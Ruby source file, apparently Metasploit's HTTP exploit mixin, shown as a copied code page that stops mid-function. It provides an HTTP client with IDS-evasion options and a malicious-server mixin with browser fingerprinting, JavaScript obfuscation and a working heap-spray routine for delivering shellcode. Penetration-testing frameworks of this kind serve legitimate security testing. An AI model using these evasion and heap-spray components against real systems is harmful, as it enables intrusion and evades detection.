1031 lines
28 KiB
Ruby
1031 lines
28 KiB
Ruby
require 'rex/service_manager'
|
|
require 'rex/exploitation/obfuscatejs'
|
|
require 'rex/exploitation/encryptjs'
|
|
require 'rex/exploitation/heaplib'
|
|
|
|
module Msf
|
|
|
|
###
|
|
#
|
|
# This module provides methods for acting as an HTTP client when
|
|
# exploiting an HTTP server.
|
|
#
|
|
###
|
|
module Exploit::Remote::HttpClient
|
|
|
|
#
|
|
# Initializes an exploit module that exploits a vulnerability in an HTTP
|
|
# server.
|
|
#
|
|
def initialize(info = {})
|
|
super
|
|
|
|
register_options(
|
|
[
|
|
Opt::RHOST,
|
|
Opt::RPORT(80),
|
|
OptString.new('VHOST', [ false, "HTTP server virtual host" ]),
|
|
Opt::Proxies
|
|
], self.class
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests']),
|
|
OptString.new('BasicAuthUser', [false, 'The HTTP username to specify for basic authentication']),
|
|
OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']),
|
|
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
|
|
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']])
|
|
], self.class
|
|
)
|
|
|
|
register_evasion_options(
|
|
[
|
|
OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-all', 'u-random']]),
|
|
OptBool.new('HTTP::uri_full_url', [false, 'Use the full URL for all HTTP requests', false]),
|
|
OptInt.new('HTTP::pad_method_uri_count', [false, 'How many whitespace characters to use between the method and uri', 1]),
|
|
OptInt.new('HTTP::pad_uri_version_count', [false, 'How many whitespace characters to use between the uri and version', 1]),
|
|
OptEnum.new('HTTP::pad_method_uri_type', [false, 'What type of whitespace to use between the method and uri', 'space', ['space', 'tab', 'apache']]),
|
|
OptEnum.new('HTTP::pad_uri_version_type', [false, 'What type of whitespace to use between the uri and version', 'space', ['space', 'tab', 'apache']]),
|
|
OptBool.new('HTTP::method_random_valid', [false, 'Use a random, but valid, HTTP method for request', false]),
|
|
OptBool.new('HTTP::method_random_invalid', [false, 'Use a random invalid, HTTP method for request', false]),
|
|
OptBool.new('HTTP::method_random_case', [false, 'Use random casing for the HTTP method', false]),
|
|
OptBool.new('HTTP::uri_dir_self_reference', [false, 'Insert self-referential directories into the uri', false]),
|
|
OptBool.new('HTTP::uri_dir_fake_relative', [false, 'Insert fake relative directories into the uri', false]),
|
|
OptBool.new('HTTP::uri_use_backslashes', [false, 'Use back slashes instead of forward slashes in the uri ', false]),
|
|
OptBool.new('HTTP::pad_fake_headers', [false, 'Insert random, fake headers into the HTTP request', false]),
|
|
OptInt.new('HTTP::pad_fake_headers_count', [false, 'How many fake headers to insert into the HTTP request', 0]),
|
|
OptBool.new('HTTP::pad_get_params', [false, 'Insert random, fake query string variables into the request', false]),
|
|
OptInt.new('HTTP::pad_get_params_count', [false, 'How many fake query string variables to insert into the request', 16]),
|
|
OptBool.new('HTTP::pad_post_params', [false, 'Insert random, fake post variables into the request', false]),
|
|
OptInt.new('HTTP::pad_post_params_count', [false, 'How many fake post variables to insert into the request', 16]),
|
|
OptBool.new('HTTP::uri_fake_end', [false, 'Add a fake end of URI (eg: /%20HTTP/1.0/../../)', false]),
|
|
OptBool.new('HTTP::uri_fake_params_start', [false, 'Add a fake start of params to the URI (eg: /%3fa=b/../)', false]),
|
|
OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false])
|
|
#
|
|
# Remaining evasions to implement
|
|
#
|
|
# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']),
|
|
# OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]),
|
|
], self.class
|
|
)
|
|
register_autofilter_ports([ 80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443 ])
|
|
register_autofilter_services(%W{ http https })
|
|
end
|
|
|
|
|
|
#
|
|
# Connects to an HTTP server.
|
|
#
|
|
def connect(opts={})
|
|
dossl = false
|
|
if(opts.has_key?('SSL'))
|
|
dossl = opts['SSL']
|
|
else
|
|
dossl = ssl
|
|
end
|
|
|
|
nclient = Rex::Proto::Http::Client.new(
|
|
rhost,
|
|
rport.to_i,
|
|
{
|
|
'Msf' => framework,
|
|
'MsfExploit' => self,
|
|
},
|
|
dossl,
|
|
ssl_version,
|
|
proxies
|
|
)
|
|
|
|
# Configure the HTTP client with the supplied parameter
|
|
nclient.set_config(
|
|
'vhost' => self.vhost(),
|
|
'agent' => datastore['UserAgent'],
|
|
'basic_auth' => self.basic_auth,
|
|
'uri_encode_mode' => datastore['HTTP::uri_encode_mode'],
|
|
'uri_full_url' => datastore['HTTP::uri_full_url'],
|
|
'pad_method_uri_count' => datastore['HTTP::pad_method_uri_count'],
|
|
'pad_uri_version_count' => datastore['HTTP::pad_uri_version_count'],
|
|
'pad_method_uri_type' => datastore['HTTP::pad_method_uri_type'],
|
|
'pad_uri_version_type' => datastore['HTTP::pad_uri_version_type'],
|
|
'method_random_valid' => datastore['HTTP::method_random_valid'],
|
|
'method_random_invalid' => datastore['HTTP::method_random_invalid'],
|
|
'method_random_case' => datastore['HTTP::method_random_case'],
|
|
'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'],
|
|
'uri_dir_fake_relative' => datastore['HTTP::uri_dir_fake_relative'],
|
|
'uri_use_backslashes' => datastore['HTTP::uri_use_backslashes'],
|
|
'pad_fake_headers' => datastore['HTTP::pad_fake_headers'],
|
|
'pad_fake_headers_count' => datastore['HTTP::pad_fake_headers_count'],
|
|
'pad_get_params' => datastore['HTTP::pad_get_params'],
|
|
'pad_get_params_count' => datastore['HTTP::pad_get_params_count'],
|
|
'pad_post_params' => datastore['HTTP::pad_post_params'],
|
|
'pad_post_params_count' => datastore['HTTP::pad_post_params_count'],
|
|
'uri_fake_end' => datastore['HTTP::uri_fake_end'],
|
|
'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],
|
|
'header_folding' => datastore['HTTP::header_folding']
|
|
)
|
|
|
|
# If this connection is global, persist it
|
|
# Required for findsock on these sockets
|
|
if (opts['global'])
|
|
if (self.client)
|
|
disconnect
|
|
end
|
|
|
|
self.client = nclient
|
|
end
|
|
|
|
return nclient
|
|
end
|
|
|
|
#
|
|
# Passes the client connection down to the handler to see if it's of any
|
|
# use.
|
|
#
|
|
def handler(nsock = nil)
|
|
# If no socket was provided, try the global one.
|
|
if ((!nsock) and
|
|
(self.client))
|
|
nsock = self.client.conn
|
|
end
|
|
|
|
# If the parent claims the socket associated with the HTTP client, then
|
|
# we rip the socket out from under the HTTP client.
|
|
if (((rv = super(nsock)) == Handler::Claimed) and
|
|
(self.client) and
|
|
(nsock == self.client.conn))
|
|
self.client.conn = nil
|
|
end
|
|
|
|
rv
|
|
end
|
|
|
|
#
|
|
# Disconnects the HTTP client
|
|
#
|
|
def disconnect(nclient = self.client)
|
|
if (nclient)
|
|
nclient.close
|
|
end
|
|
|
|
if (nclient == self.client)
|
|
self.client = nil
|
|
end
|
|
end
|
|
|
|
#
|
|
# Performs cleanup as necessary, disconnecting the HTTP client if it's
|
|
# still established.
|
|
#
|
|
def cleanup
|
|
super
|
|
disconnect
|
|
end
|
|
|
|
#
|
|
# Connects to the server, creates a request, sends the request, reads the response
|
|
#
|
|
def send_request_raw(opts={}, timeout = 20)
|
|
begin
|
|
c = connect(opts)
|
|
r = c.request_raw(opts)
|
|
resp = c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
|
|
while(resp and resp.code == 100)
|
|
resp = c.reread_response(resp, opts[:timeout] ? opts[:timeout] : timeout)
|
|
end
|
|
resp
|
|
rescue ::Errno::EPIPE, ::Timeout::Error
|
|
nil
|
|
end
|
|
end
|
|
|
|
#
|
|
# Connects to the server, creates a request, sends the request, reads the response
|
|
#
|
|
def send_request_cgi(opts={}, timeout = 20)
|
|
begin
|
|
c = connect(opts)
|
|
r = c.request_cgi(opts)
|
|
resp = c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
|
|
while(resp and resp.code == 100)
|
|
resp = c.reread_response(resp, opts[:timeout] ? opts[:timeout] : timeout)
|
|
end
|
|
resp
|
|
rescue ::Errno::EPIPE, ::Timeout::Error
|
|
nil
|
|
end
|
|
end
|
|
|
|
#
|
|
# Combine the user/pass into an auth string for the HTTP Client
|
|
#
|
|
def basic_auth
|
|
return if not datastore['BasicAuthUser']
|
|
datastore['BasicAuthUser'] + ":" + (datastore['BasicAuthPass'] || '')
|
|
end
|
|
|
|
##
|
|
#
|
|
# Wrappers for getters
|
|
#
|
|
##
|
|
|
|
#
|
|
# Returns the target host
|
|
#
|
|
def rhost
|
|
datastore['RHOST']
|
|
end
|
|
|
|
#
|
|
# Returns the remote port
|
|
#
|
|
def rport
|
|
datastore['RPORT']
|
|
end
|
|
|
|
#
|
|
# Returns the VHOST of the HTTP server.
|
|
#
|
|
def vhost
|
|
datastore['VHOST'] || datastore['RHOST']
|
|
end
|
|
|
|
#
|
|
# Returns the boolean indicating SSL
|
|
#
|
|
def ssl
|
|
((datastore.default?('SSL') and rport.to_i == 443) or datastore['SSL'])
|
|
end
|
|
|
|
#
|
|
# Returns the string indicating SSL version
|
|
#
|
|
def ssl_version
|
|
datastore['SSLVersion']
|
|
end
|
|
|
|
#
|
|
# Returns the configured proxy list
|
|
#
|
|
def proxies
|
|
datastore['Proxies']
|
|
end
|
|
|
|
protected
|
|
|
|
attr_accessor :client
|
|
|
|
end
|
|
|
|
|
|
###
|
|
#
|
|
# This module provides methods for exploiting an HTTP client by acting
|
|
# as an HTTP server.
|
|
#
|
|
###
|
|
module Exploit::Remote::HttpServer
|
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('URIPATH', [ false, "The URI to use for this exploit (default is random)"]),
|
|
], Exploit::Remote::HttpServer
|
|
)
|
|
|
|
register_evasion_options(
|
|
[
|
|
OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']),
|
|
OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']),
|
|
OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']),
|
|
OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]),
|
|
], Exploit::Remote::HttpServer)
|
|
|
|
@service_path = nil
|
|
end
|
|
|
|
#
|
|
# By default, all HTTP servers are not subject to automatic exploitation
|
|
#
|
|
def autofilter
|
|
false
|
|
end
|
|
|
|
#
|
|
# Ensures that gzip can be used. If not, an exception is generated. The
|
|
# exception is only raised if the DisableGzip advanced option has not been
|
|
# set.
|
|
#
|
|
def use_zlib
|
|
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
|
|
raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"
|
|
end
|
|
end
|
|
|
|
#
|
|
# This method gives a derived class the opportunity to ensure that all
|
|
# dependencies are present before initializing the service.
|
|
#
|
|
# By default, all HTTP server mixins will try to use zlib.
|
|
#
|
|
def check_dependencies
|
|
use_zlib
|
|
end
|
|
|
|
#
|
|
# This mixin starts the HTTP server listener. This routine takes a few
|
|
# different hash parameters:
|
|
#
|
|
# ServerHost => Override the server host to listen on (default to SRVHOST).
|
|
# ServerPort => Override the server port to listen on (default to SRVPORT).
|
|
# Uri => The URI to handle and the associated procedure to call.
|
|
#
|
|
def start_service(opts = {})
|
|
check_dependencies
|
|
|
|
# Default the server host and port to what is required by the mixin.
|
|
opts = {
|
|
'ServerHost' => datastore['SRVHOST'],
|
|
'ServerPort' => datastore['SRVPORT'],
|
|
}.update(opts)
|
|
|
|
# Start the HTTP server service.
|
|
self.service = Rex::ServiceManager.start(
|
|
Rex::Proto::Http::Server,
|
|
opts['ServerPort'].to_i,
|
|
opts['ServerHost'],
|
|
datastore['SSL'],
|
|
{
|
|
'Msf' => framework,
|
|
'MsfExploit' => self,
|
|
}
|
|
)
|
|
|
|
self.service.server_name = 'Apache'
|
|
|
|
# Default the procedure of the URI to on_request_uri if one isn't
|
|
# provided.
|
|
uopts = {
|
|
'Proc' => Proc.new { |cli, req|
|
|
on_request_uri(cli, req)
|
|
},
|
|
'Path' => resource_uri
|
|
}.update(opts['Uri'] || {})
|
|
|
|
print_status("Using URL: http://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
|
|
|
if (opts['ServerHost'] == '0.0.0.0')
|
|
print_status(" Local IP: http://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
|
end
|
|
|
|
add_resource(uopts)
|
|
end
|
|
|
|
#
|
|
# Store the results of server-side User-Agent fingerprinting in the DB.
|
|
#
|
|
# Returns a Hash containing host and client information.
|
|
#
|
|
def report_user_agent(address, request)
|
|
ua = request['User-Agent'].downcase
|
|
# always check for IE last because everybody tries to
|
|
# look like IE
|
|
case (ua)
|
|
when /version\/(\d+\.\d+\.\d+).*safari/
|
|
ua_name = HttpClients::SAFARI
|
|
ua_ver = $1
|
|
when /firefox\/((:?[0-9]+\.)+[0-9]+)/
|
|
ua_name = HttpClients::FF
|
|
ua_ver = $1
|
|
when /mozilla\/[0-9]\.[0-9] \(compatible; msie ([0-9]\.[0-9]+)/
|
|
ua_name = HttpClients::IE
|
|
ua_ver = $1
|
|
else
|
|
ua_name = HttpClients::UNKNOWN
|
|
end
|
|
case (ua)
|
|
when /(en-us|en-gb)/
|
|
os_lang = $1
|
|
end
|
|
case (ua)
|
|
when /windows/
|
|
os_name = OperatingSystems::WINDOWS
|
|
arch = ARCH_X86
|
|
when /linux/
|
|
os_name = OperatingSystems::LINUX
|
|
when /iphone/
|
|
os_name = OperatingSystems::MAC_OSX
|
|
arch = 'armle'
|
|
when /mac os x/
|
|
os_name = OperatingSystems::MAC_OSX
|
|
else
|
|
os_name = OperatingSystems::UNKNOWN
|
|
end
|
|
case (ua)
|
|
when /windows 95/
|
|
os_flavor = '95'
|
|
when /windows 98/
|
|
os_flavor = '98'
|
|
when /windows nt 4/
|
|
os_flavor = 'NT'
|
|
when /windows nt 5.0/
|
|
os_flavor = '2000'
|
|
when /windows nt 5.1/
|
|
os_flavor = 'XP'
|
|
when /windows nt 5.2/
|
|
os_flavor = '2003'
|
|
when /windows nt 6.0/
|
|
os_flavor = 'Vista'
|
|
when /windows nt 6.1/
|
|
os_flavor = '7'
|
|
when /gentoo/
|
|
os_flavor = 'Gentoo'
|
|
when /debian/
|
|
os_flavor = 'Debian'
|
|
when /ubuntu/
|
|
os_flavor = 'Ubuntu'
|
|
else
|
|
os_flavor = ''
|
|
end
|
|
case (ua)
|
|
when /ppc/
|
|
arch = ARCH_PPC
|
|
when /x64|x86_64/
|
|
arch = ARCH_X86_64
|
|
when /i.86|wow64/
|
|
# WOW64 means "Windows on Windows64" and is present
|
|
# in the useragent of 32-bit IE running on 64-bit
|
|
# Windows
|
|
arch = ARCH_X86
|
|
else
|
|
arch = ARCH_X86
|
|
end
|
|
host = {
|
|
:address => address,
|
|
:host => address,
|
|
:os_name => os_name,
|
|
:os_flavor => os_flavor,
|
|
:arch => arch
|
|
}
|
|
host[:os_lang] = os_lang if os_lang
|
|
report_host(host)
|
|
client = {
|
|
:host => address,
|
|
:ua_string => request['User-Agent'],
|
|
:ua_name => ua_name,
|
|
:ua_ver => ua_ver
|
|
}
|
|
report_client(client)
|
|
report_note(
|
|
:host => address,
|
|
:type => 'http_request',
|
|
:data => "#{address}: #{request.method} #{request.resource} #{os_name} #{ua_name} #{ua_ver}"
|
|
)
|
|
return host.merge(client)
|
|
end
|
|
|
|
#
|
|
# Adds a URI resource using the supplied hash parameters.
|
|
#
|
|
# Path => The path to associate the procedure with.
|
|
# Proc => The procedure to call when the URI is requested.
|
|
# LongCall => Indicates that the request is a long call.
|
|
#
|
|
def add_resource(opts)
|
|
@service_path = opts['Path']
|
|
service.add_resource(opts['Path'], opts)
|
|
end
|
|
|
|
#
|
|
# Returns the last-used resource path
|
|
#
|
|
def get_resource
|
|
# We don't want modules modifying their service_path inadvertantly, so
|
|
# give them a dup. Can be nil during module setup.
|
|
@service_path ? @service_path.dup : nil
|
|
end
|
|
|
|
#
|
|
# Removes a URI resource.
|
|
#
|
|
def remove_resource(name)
|
|
service.remove_resource(name)
|
|
end
|
|
|
|
#
|
|
# Closes a client connection.
|
|
#
|
|
def close_client(cli)
|
|
service.close_client(cli)
|
|
end
|
|
|
|
#
|
|
# Creates an HTTP response packet.
|
|
#
|
|
def create_response(code = 200, message = "OK", proto = Rex::Proto::Http::DefaultProtocol)
|
|
res = Rex::Proto::Http::Response.new(code, message, proto);
|
|
res['Content-Type'] = 'text/html'
|
|
res
|
|
end
|
|
|
|
#
|
|
# Transmits a response to the supplied client, default content-type is text/html
|
|
#
|
|
# Payload evasions are implemented here!
|
|
#
|
|
def send_response(cli, body, headers = {})
|
|
response = create_response
|
|
response['Content-Type'] = 'text/html'
|
|
response.body = body
|
|
|
|
if (datastore['HTTP::compression'])
|
|
self.use_zlib # make sure...
|
|
response.compress = datastore['HTTP::compression']
|
|
end
|
|
|
|
if (datastore['HTTP::chunked'] == true)
|
|
response.auto_cl = false
|
|
response.transfer_chunked = true
|
|
end
|
|
|
|
if (datastore['HTTP::header_folding'] == true)
|
|
response.headers.fold = 1
|
|
end
|
|
|
|
if (datastore['HTTP::junk_headers'] == true)
|
|
response.headers.junk_headers = 1
|
|
end
|
|
|
|
headers.each_pair { |k,v| response[k] = v }
|
|
|
|
cli.send_response(response)
|
|
end
|
|
|
|
#
|
|
# Sends a 302 redirect to the client
|
|
#
|
|
def send_redirect(cli, location='/', body='')
|
|
response = create_response(302, 'Moved')
|
|
response['Content-Type'] = 'text/html'
|
|
response['Location'] = location
|
|
response.body = body
|
|
|
|
cli.send_response(response)
|
|
end
|
|
|
|
|
|
#
|
|
# Sends a 302 redirect relative to our base path
|
|
#
|
|
def send_local_redirect(cli, location)
|
|
send_redirect(cli, get_resource + location)
|
|
end
|
|
|
|
|
|
#
|
|
# Sends a 404
|
|
#
|
|
def send_not_found(cli)
|
|
resp_404 = create_response(404, 'Not Found')
|
|
resp_404.body = %Q{
|
|
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
|
<html><head>
|
|
<title>404 Not Found</title>
|
|
</head><body>
|
|
<h1>Not Found</h1>
|
|
<p>The requested URL was not found on this server.</p>
|
|
<hr>
|
|
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
|
|
</body></html>
|
|
}
|
|
|
|
cli.send_response(resp_404)
|
|
end
|
|
|
|
|
|
#
|
|
# Returns the configured (or random, if not configured) URI path
|
|
#
|
|
def resource_uri
|
|
path = datastore['URIPATH'] || random_uri
|
|
path = '/' + path if path !~ /^\//
|
|
return path
|
|
end
|
|
|
|
|
|
#
|
|
# Generates a random URI for use with making finger printing more
|
|
# challenging.
|
|
#
|
|
def random_uri
|
|
"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
|
|
end
|
|
|
|
#
|
|
# Re-generates the payload, substituting the current RHOST and RPORT with
|
|
# the supplied client host and port.
|
|
#
|
|
def regenerate_payload(cli, arch = nil, platform = nil, target = nil)
|
|
pcode = nil
|
|
|
|
# If the payload fails to generate for some reason, send a 403.
|
|
if ((pcode = super(cli, arch, platform, target)) == nil)
|
|
print_error("Failed to generate payload, sending 403.")
|
|
|
|
cli.send_response(
|
|
create_response(403, 'Forbidden'))
|
|
|
|
return nil
|
|
end
|
|
pcode
|
|
end
|
|
|
|
##
|
|
#
|
|
# Override methods
|
|
#
|
|
##
|
|
|
|
#
|
|
# Called when a request is made to a single URI registered during the
|
|
# start_service. Subsequent registrations will not result in a call to
|
|
# on_request_uri.
|
|
#
|
|
def on_request_uri(cli, request)
|
|
end
|
|
|
|
end
|
|
|
|
###
|
|
#
|
|
# This module provides methods for exploiting an HTTP client by acting
|
|
# as an HTTP server.
|
|
#
|
|
###
|
|
module Exploit::Remote::HttpServer::HTML
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
protected
|
|
|
|
def initialize(info = {})
|
|
super
|
|
|
|
register_evasion_options(
|
|
[
|
|
# utf-8, utf-7 and utf-7-all are currently not supported by
|
|
# most browsers. as such, they are not added by default. The
|
|
# mixin supports encoding using them, however they are not
|
|
# listed in the Option.
|
|
OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]),
|
|
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
|
|
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
|
|
], Exploit::Remote::HttpServer::HTML)
|
|
end
|
|
|
|
#
|
|
# Obfuscates symbols found within a javascript string.
|
|
#
|
|
# Returns an ObfuscateJS object
|
|
#
|
|
def obfuscate_js(javascript, opts)
|
|
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
|
|
js.obfuscate
|
|
return js
|
|
end
|
|
|
|
#
|
|
# Encrypts a given javascript string using the provided key.
|
|
#
|
|
# Returns a string containing the encrypted string and a loader
|
|
#
|
|
def encrypt_js(javascript, key)
|
|
js_encoded = Rex::Exploitation::EncryptJS.encrypt(javascript, key)
|
|
end
|
|
|
|
#
|
|
# Returns the heaplib javascript, including any custom javascript supplied
|
|
# by the caller.
|
|
#
|
|
def heaplib(custom_js = '')
|
|
Rex::Exploitation::HeapLib.new(custom_js).to_s
|
|
end
|
|
|
|
def js_base64
|
|
js = <<-ENDJS
|
|
// Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html
|
|
// variable names changed to make obfuscation easier
|
|
var Base64 = {
|
|
// private property
|
|
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
|
|
|
|
// private method
|
|
_utf8_encode : function ( input ){
|
|
input = input.replace(/\\r\\n/g,"\\n");
|
|
var utftext = "";
|
|
var input_idx;
|
|
|
|
for (input_idx = 0; input_idx < input.length; input_idx++) {
|
|
var chr = input.charCodeAt(input_idx);
|
|
if (chr < 128) {
|
|
utftext += String.fromCharCode(chr);
|
|
}
|
|
else if((chr > 127) && (chr < 2048)) {
|
|
utftext += String.fromCharCode((chr >> 6) | 192);
|
|
utftext += String.fromCharCode((chr & 63) | 128);
|
|
} else {
|
|
utftext += String.fromCharCode((chr >> 12) | 224);
|
|
utftext += String.fromCharCode(((chr >> 6) & 63) | 128);
|
|
utftext += String.fromCharCode((chr & 63) | 128);
|
|
}
|
|
}
|
|
|
|
return utftext;
|
|
},
|
|
|
|
// public method for encoding
|
|
encode : function( input ) {
|
|
var output = "";
|
|
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
|
|
var input_idx = 0;
|
|
|
|
input = Base64._utf8_encode(input);
|
|
|
|
while (input_idx < input.length) {
|
|
chr1 = input.charCodeAt( input_idx++ );
|
|
chr2 = input.charCodeAt( input_idx++ );
|
|
chr3 = input.charCodeAt( input_idx++ );
|
|
|
|
enc1 = chr1 >> 2;
|
|
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
|
|
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
|
|
enc4 = chr3 & 63;
|
|
|
|
if (isNaN(chr2)) {
|
|
enc3 = enc4 = 64;
|
|
} else if (isNaN(chr3)) {
|
|
enc4 = 64;
|
|
}
|
|
output = output +
|
|
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
|
|
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
|
|
}
|
|
return output;
|
|
},
|
|
// public method for decoding
|
|
decode : function (input) {
|
|
var output = "";
|
|
var chr1, chr2, chr3;
|
|
var enc1, enc2, enc3, enc4;
|
|
var i = 0;
|
|
|
|
input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, "");
|
|
|
|
while (i < input.length) {
|
|
|
|
enc1 = this._keyStr.indexOf(input.charAt(i++));
|
|
enc2 = this._keyStr.indexOf(input.charAt(i++));
|
|
enc3 = this._keyStr.indexOf(input.charAt(i++));
|
|
enc4 = this._keyStr.indexOf(input.charAt(i++));
|
|
|
|
chr1 = (enc1 << 2) | (enc2 >> 4);
|
|
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
|
chr3 = ((enc3 & 3) << 6) | enc4;
|
|
|
|
output = output + String.fromCharCode(chr1);
|
|
|
|
if (enc3 != 64) {
|
|
output = output + String.fromCharCode(chr2);
|
|
}
|
|
if (enc4 != 64) {
|
|
output = output + String.fromCharCode(chr3);
|
|
}
|
|
|
|
}
|
|
|
|
output = Base64._utf8_decode(output);
|
|
|
|
return output;
|
|
|
|
},
|
|
_utf8_decode : function (utftext) {
|
|
var string = "";
|
|
var input_idx = 0;
|
|
var chr1 = 0;
|
|
var chr2 = 0;
|
|
var chr3 = 0;
|
|
|
|
while ( input_idx < utftext.length ) {
|
|
|
|
chr1 = utftext.charCodeAt(input_idx);
|
|
|
|
if (chr1 < 128) {
|
|
string += String.fromCharCode(chr1);
|
|
input_idx++;
|
|
}
|
|
else if((chr1 > 191) && (chr1 < 224)) {
|
|
chr2 = utftext.charCodeAt(input_idx+1);
|
|
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
|
|
input_idx += 2;
|
|
} else {
|
|
chr2 = utftext.charCodeAt(input_idx+1);
|
|
chr3 = utftext.charCodeAt(input_idx+2);
|
|
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
|
|
input_idx += 3;
|
|
}
|
|
}
|
|
|
|
return string;
|
|
}
|
|
|
|
|
|
};
|
|
|
|
ENDJS
|
|
opts = {
|
|
'Symbols' => {
|
|
'Variables' => %w{ Base64 encoding result _keyStr encoded_data utftext input_idx
|
|
input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 },
|
|
'Methods' => %w{ _utf8_encode _utf8_decode encode decode }
|
|
}
|
|
}
|
|
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
|
|
|
|
return js
|
|
end
|
|
|
|
def js_heap_spray
|
|
js = %Q|var memory = new Array();
|
|
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
|
|
var index;
|
|
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
|
|
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
|
|
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
|
|
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
|
|
|
|
var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
|
|
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
|
|
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
|
|
|
|
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
|
|
for (index = 0; index < heapBlockCnt; index++) {
|
|
memory[index] = retSlide + shellcode;
|
|
}
|
|
}
|
|
|
|
|
opts = {
|
|
'Symbols' => {
|
|
'Variables' => %w{ shellcode retSlide payLoadSize memory index
|
|
heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize
|
|
heapBlockCnt },
|
|
'Methods' => %w{ sprayHeap }
|
|
}
|
|
}
|
|
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
|
|
return js
|
|
end
|
|
|
|
def js_os_detect
|
|
return ::Rex::Exploitation::JavascriptOSDetect.new
|
|
end
|
|
|
|
# Transmits a html response to the supplied client
|
|
#
|
|
# HTML evasions are implemented here.
|
|
def send_response_html(cli, body, headers = {})
|
|
if datastore['HTML::base64'] != 'none'
|
|
case datastore['HTML::base64']
|
|
when 'plain'
|
|
body = Rex::Text.encode_base64(body)
|
|
when 'single_pad'
|
|
body = Rex::Text.encode_base64(' ' + body)
|
|
when 'double_pad'
|
|
body = Rex::Text.encode_base64(' ' + body)
|
|
when 'random_space_injection'
|
|
body = Rex::Text.encode_base64(body)
|
|
new = ''
|
|
while (body.size > 0)
|
|
new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
|
|
end
|
|
body = new
|
|
end
|
|
|
|
body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
|
|
'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
|
|
body + '">Could not render object</OBJECT></BODY></HTML>'
|
|
end
|
|
|
|
if datastore['HTML::javascript::escape'] > 0
|
|
datastore['HTML::javascript::escape'].times {
|
|
body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
|
|
}
|
|
end
|
|
|
|
if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode'])
|
|
headers['Content-Type'] = 'text/html; charset: ' + datastore['HTML::unicode']
|
|
body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
|
|
else
|
|
# special cases
|
|
case datastore['HTML::unicode']
|
|
when 'utf-16be-marker'
|
|
